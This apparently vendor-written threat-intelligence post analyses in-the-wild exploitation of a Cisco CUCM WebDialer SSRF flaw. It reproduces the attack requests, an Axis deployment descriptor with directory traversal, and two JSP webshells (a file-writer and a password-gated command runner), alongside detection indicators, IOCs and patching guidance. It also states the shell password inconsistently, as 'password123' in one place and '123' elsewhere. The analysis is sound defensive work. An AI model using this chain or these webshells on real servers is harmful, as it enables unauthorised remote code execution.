Same-Day Shells: A Full-Chain RCE Sweep Against Cisco CUCM (CVE-2026-20230)
In February we wrote about the quiet ones - an operator planting dormant Ivanti EPMM implants and walking away, building inventory for a later handoff. This is the opposite story. This one is loud, fast, and fully automated, and it went from public proof-of-concept to fleet-wide remote code execution in roughly a day.
We first flagged exploitation of CVE-2026-20230 - the Cisco Unified Communications Manager (CUCM) WebDialer SSRF - over the preceding weekend. That early activity was a single source quietly tagging vulnerable hosts: a benign marker file written to confirm the SSRF primitive worked, nothing more. A vuln-check, not a weapon.
On 23 June 2026, SSD Secure Disclosure published a full technical write-up and a working exploit chain. On 24 June 2026, between 04:06 and 04:08 UTC, that chain arrived on our CUCM decoys at speed - a complete SSRF → arbitrary file-write → root-capable webshell sequence, replayed near-verbatim from the public proof-of-concept, with every request fronted by Tor.
Key Takeaway: A public PoC for CVE-2026-20230 was weaponised inside 24 hours. The observed chain abuses the WebDialer SSRF to deploy a rogue Apache Axis service, uses that service to write a first-stage JSP file-writer, then drops a second-stage command-execution shell under
/platform-services/axis2-web/. The exec shell is gated by the literal password123- lifted straight from the PoC. Service names and shell filenames are randomised per run, but the structure, traversal depth, and payloads are identical. If you run CUCM with WebDialer enabled and haven’t patched, assume scanning has already reached you.
The Vulnerability
CVE-2026-20230 is a server-side request forgery flaw (CWE-918) in Cisco Unified Communications Manager and Unified CM Session Management Edition, disclosed by Cisco on 3 June 2026. The root cause is improper validation of specific HTTP requests handled by the WebDialer component, which lets an unauthenticated attacker coerce the server into making attacker-controlled outbound requests - and, more usefully, into writing arbitrary files to the underlying OS.
The CVSS base score is 8.6, but Cisco overrode it with a Critical Security Impact Rating, because the file-write is a foothold rather than the endpoint: the written file can be turned into a path to root. WebDialer is disabled by default, and exploitation requires it to be enabled - which is the single most important fact for triage. The fix landed as 14SU6 for the 14 train; release 15 needs 15SU5 or the interim COP patch.
There’s recent precedent here that’s worth keeping in mind. In January, Cisco patched CVE-2026-20045, a separate unauthenticated RCE across its voice products that was already being exploited as a zero-day; CISA added it to the Known Exploited Vulnerabilities catalogue on 21 January. As of writing, CVE-2026-20230 is not yet in KEV - but the in-the-wild activity documented below is precisely the evidence that drives a listing.
From Vuln-Check to Weaponised Chain
The weekend activity and the 24 June sweep are the same vulnerability and two completely different operations.
The weekend tagging used a simple SSRF primitive to write a harmless marker and move on - the behaviour of someone enumerating exposed, vulnerable CUCM instances to build a target list. The 24 June activity uses the full SSD chain, and it isn’t checking whether the box is vulnerable. It’s taking it.
The technique at the centre of the chain is an old friend wearing a new badge. The SSRF is used to reach an internal Apache Axis endpoint and write an Axis service deployment descriptor - the same class of flaw as the historical Axis 1.4 administration bug, CVE-2019-0227. Once that descriptor lands, the attacker has registered a brand-new SOAP service on the target that they fully control, and that service can write files anywhere the Tomcat process can reach.
Anatomy of the Sweep
Across our sensors the operation ran as a clean, staged pipeline. Different Tor exit nodes handled different stages of the same chain within seconds of each other, which is consistent with a single automated tool rotating through an exit pool rather than independent actors converging on the same target.
Stage 1 — Recon
GET /webdialer/Version.jws?wsdl The chain opens by pulling the WebDialer WSDL. This is the PoC’s hostname-disclosure step: the SSRF has host-header validation that blocks the obvious localhost/127.0.0.1 targets, so the attacker first needs the box’s true short hostname, which this unauthenticated endpoint leaks. On its own this request looks like benign service discovery - which is exactly why it’s worth alerting on in context.
Stage 2 — SSRF to a Rogue Axis Service
GET /cmplatform/installClusterStatusExecute?action=clusterNodeInstallStatus&hostname=<payload> This is the actual CVE-2026-20230 primitive, and it is not where most signatures are looking. The hostname parameter is not a hostname - it’s a crafted path into the WebDialer/Axis stack ending in the installstages endpoint, with an !-- escape sequence that breaks out of the response the endpoint would normally write. The body of the hostname value is a full Axis wsdd deployment descriptor:
<deployment ...>
<service name="rpro8xf" provider="java:RPC">
<requestFlow>
<handler type="java:org.apache.axis.handlers.LogHandler">
<parameter name="LogHandler.fileName"
value="../../../../../../../../../../../../common/log/taos-log-a/tomcat/webapps/platform-services/axis2-web/auwaqh4.jsp" />
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</requestFlow>
<parameter name="className" value="java.util.Random" />
<parameter name="allowedMethods" value="*" />
</service>
</deployment> The SSRF writes this descriptor through the trusted internal interface. The result is a new, attacker-named SOAP service (rpro8xf in one chain, r0edrdc in another) wired to an Axis LogHandler whose log file is redirected, via deep directory traversal, into the web-accessible axis2-web directory. Whatever gets logged through that service is now written as a .jsp the attacker can reach over HTTP.
Stage 3 — Two-Stage Webshell Drop
GET /webdialer/services/rpro8xf?method=...&arg0=<CDATA JSP> The attacker invokes their freshly registered service and feeds the JSP source as a parameter. The LogHandler faithfully writes it to auwaqh4.jsp. That first-stage shell is deliberately minimal - it’s a file-writer, nothing more:
<% if(request.getParameter("f")!=null)
(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f")))
.write(request.getParameter("t").getBytes()); %> It takes a path in f and content in t and writes one to the other. The operator immediately uses it to drop the real payload:
GET /platform-services/axis2-web/auwaqh4.jsp?f=../../../...axis2-web/ctu2lx8.jsp&t=<exec JSP> The second-stage shell is a standard command-runner:
<% if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime()
.exec(request.getParameter("i")).getInputStream();
... out.print("<pre>"); ... out.print("</pre>"); } %> Two webshells, two filenames, one password. The two-stage drop isn’t strictly necessary - it’s an artefact of the PoC’s structure - but the operators replicated it faithfully rather than collapsing it.
Stage 4 — Command Execution
GET /platform-services/axis2-web/ctu2lx8.jsp?pwd=123&i=id The chain terminates in a validation call: pwd=123, i=id. The operator runs id to confirm the shell works and what context it runs in, then - in this wave - stops. They are confirming working RCE, not yet acting on it. The parallel here with the sleeper-shell campaign is uncomfortable: confirmed access, no follow-on. Whether that’s IAB inventory-building or simply the leading edge of a campaign that hasn’t turned to objectives yet, the right assumption is the same one.
Tradecraft Notes
A few things stand out:
- It’s PoC-derived, not bespoke. The exec template, the
f/tfile-writer, the123password, the traversal target (common/log/taos-log-a/.../axis2-web/) and the validation command are byte-for-byte from the public write-up. The only thing that changes between runs is randomised names. That’s good news for defenders: the static parts are highly signaturable. - Names are randomised per chain. Service
rpro8xf→ writerauwaqh4.jsp→ shellctu2lx8.jspin one chain;r0edrdc→av2rxbe.jsp→cekv5hq.jspin another. The node marker in thefilenameparameter (cucm_656p,cucm_8rpv) likewise rotates. Hunting on a single hardcoded filename will miss most of it; hunt on the pattern. - Everything is Tored. Every source address in this activity resolves to a known Tor exit relay, and stages of a single chain arrive from different exits within seconds. Attribution from the IPs alone is a dead end. The practical takeaway is that UC infrastructure has essentially no business accepting administrative traffic from Tor exits - that’s a clean, high-value block.
What To Look For
If you run Cisco Unified CM with WebDialer enabled, treat any of the activity below as evidence of compromise or attempted compromise. The webshells in this chain are written to disk - a service restart will not flush them, unlike an in-memory implant. You have to find and remove the files.
Immediate actions: Patch CUCM now - 14SU6 for the 14 train, 15SU5 or the interim COP patch for release 15. If you cannot patch immediately and do not operationally need WebDialer, disable it (Cisco Unified Serviceability → Tools → Service Activation); it is the precondition for exploitation and is off by default. Then inspect tomcat/webapps/platform-services/axis2-web/ for unexpected .jsp files, review the WebDialer services listing for any service you did not register, and walk your logs with the indicators below.
Log Indicators
- Requests to
/cmplatform/installClusterStatusExecutecarryingaction=clusterNodeInstallStatuswhere thehostnameparameter contains Axis deployment markers -installstages,wsdd,<deployment,service name=,LogHandler, or deep../traversal towardtaos-log-a/axis2-web. GET /webdialer/Version.jwsimmediately preceding the above (hostname recon).- Requests to
/webdialer/services/<name>where<name>is not a service you deployed. - New
.jspfiles (frequently 7-character random names) under.../tomcat/webapps/platform-services/axis2-web/. - Requests to
/platform-services/axis2-web/*.jspcarryingf=andt=parameters (file-write) orpwd=andi=parameters (command execution). - The literal webshell password
pwd=123and theRuntime.getRuntime().execexec template in request bodies. - Any administrative or WebDialer traffic sourced from Tor exit relays.
Indicators of Compromise
Network IOCs — Source IPs
Every source address observed in this activity resolves to a known Tor exit relay. Full ASN, operator and geolocation enrichment is available in Defused telemetry.
| IP Address | Classification | Observed Stage |
|---|---|---|
| 192.42.116.21 | Tor exit relay | Recon (Version.jws) |
| 171.25.193.82 | Tor exit relay | Recon (Version.jws) |
| 192.42.116.13 | Tor exit relay | SSRF / Axis deploy (chain A) |
| 192.42.116.19 | Tor exit relay | SSRF / Axis deploy + service (chain B) |
| 185.220.101.24 | Tor exit relay | Rogue service invocation |
| 192.42.116.118 | Tor exit relay | Webshell write + command exec |
| 185.220.100.252 | Tor exit relay | Webshell write |
| 109.71.252.182 | Tor exit relay | Command exec |
Webshell Artifacts
| Field | Value |
|---|---|
| Rogue Axis service names | rpro8xf, r0edrdc (randomised per chain) |
| First-stage file-writer JSP | auwaqh4.jsp, av2rxbe.jsp (randomised) |
| Second-stage exec JSP | ctu2lx8.jsp, cekv5hq.jsp (randomised) |
| Drop directory | .../tomcat/webapps/platform-services/axis2-web/ |
| Web-accessible path | /platform-services/axis2-web/<name>.jsp |
| File-writer parameters | f (target path), t (file content) |
| Exec shell parameters | pwd=123 (gate), i (command) |
Node markers (filename=) | cucm_656p, cucm_8rpv |
More IOCs available in Defused telemetry.
The Window Is the Story
The Ivanti operator we wrote about in February could afford to be patient - the whole point of a dormant implant is that time is on the attacker’s side. This campaign is the other end of the spectrum. The interesting number here isn’t a CVSS score or a payload hash; it’s the calendar. Disclosure on 3 June. Public exploit on 23 June. Mass, fully automated, full-chain exploitation by the morning of the 24th.
That compression is the trend worth internalising. The gap between “a PoC exists” and “the PoC is spraying your fleet from a hundred Tor exits” is no longer measured in weeks. For a platform like CUCM - rarely patched on a tight cadence, often quietly internet-adjacent, and sitting on top of an organisation’s entire voice and collaboration fabric - a one-day window is not a window at all.
If you run Cisco Unified CM with WebDialer enabled: patch, disable WebDialer if you can’t, and hunt your axis2-web directory today. The shells in this wave only ran id. The next request to those same files won’t be so polite.
Parts of the technical analysis above have been AI-assisted.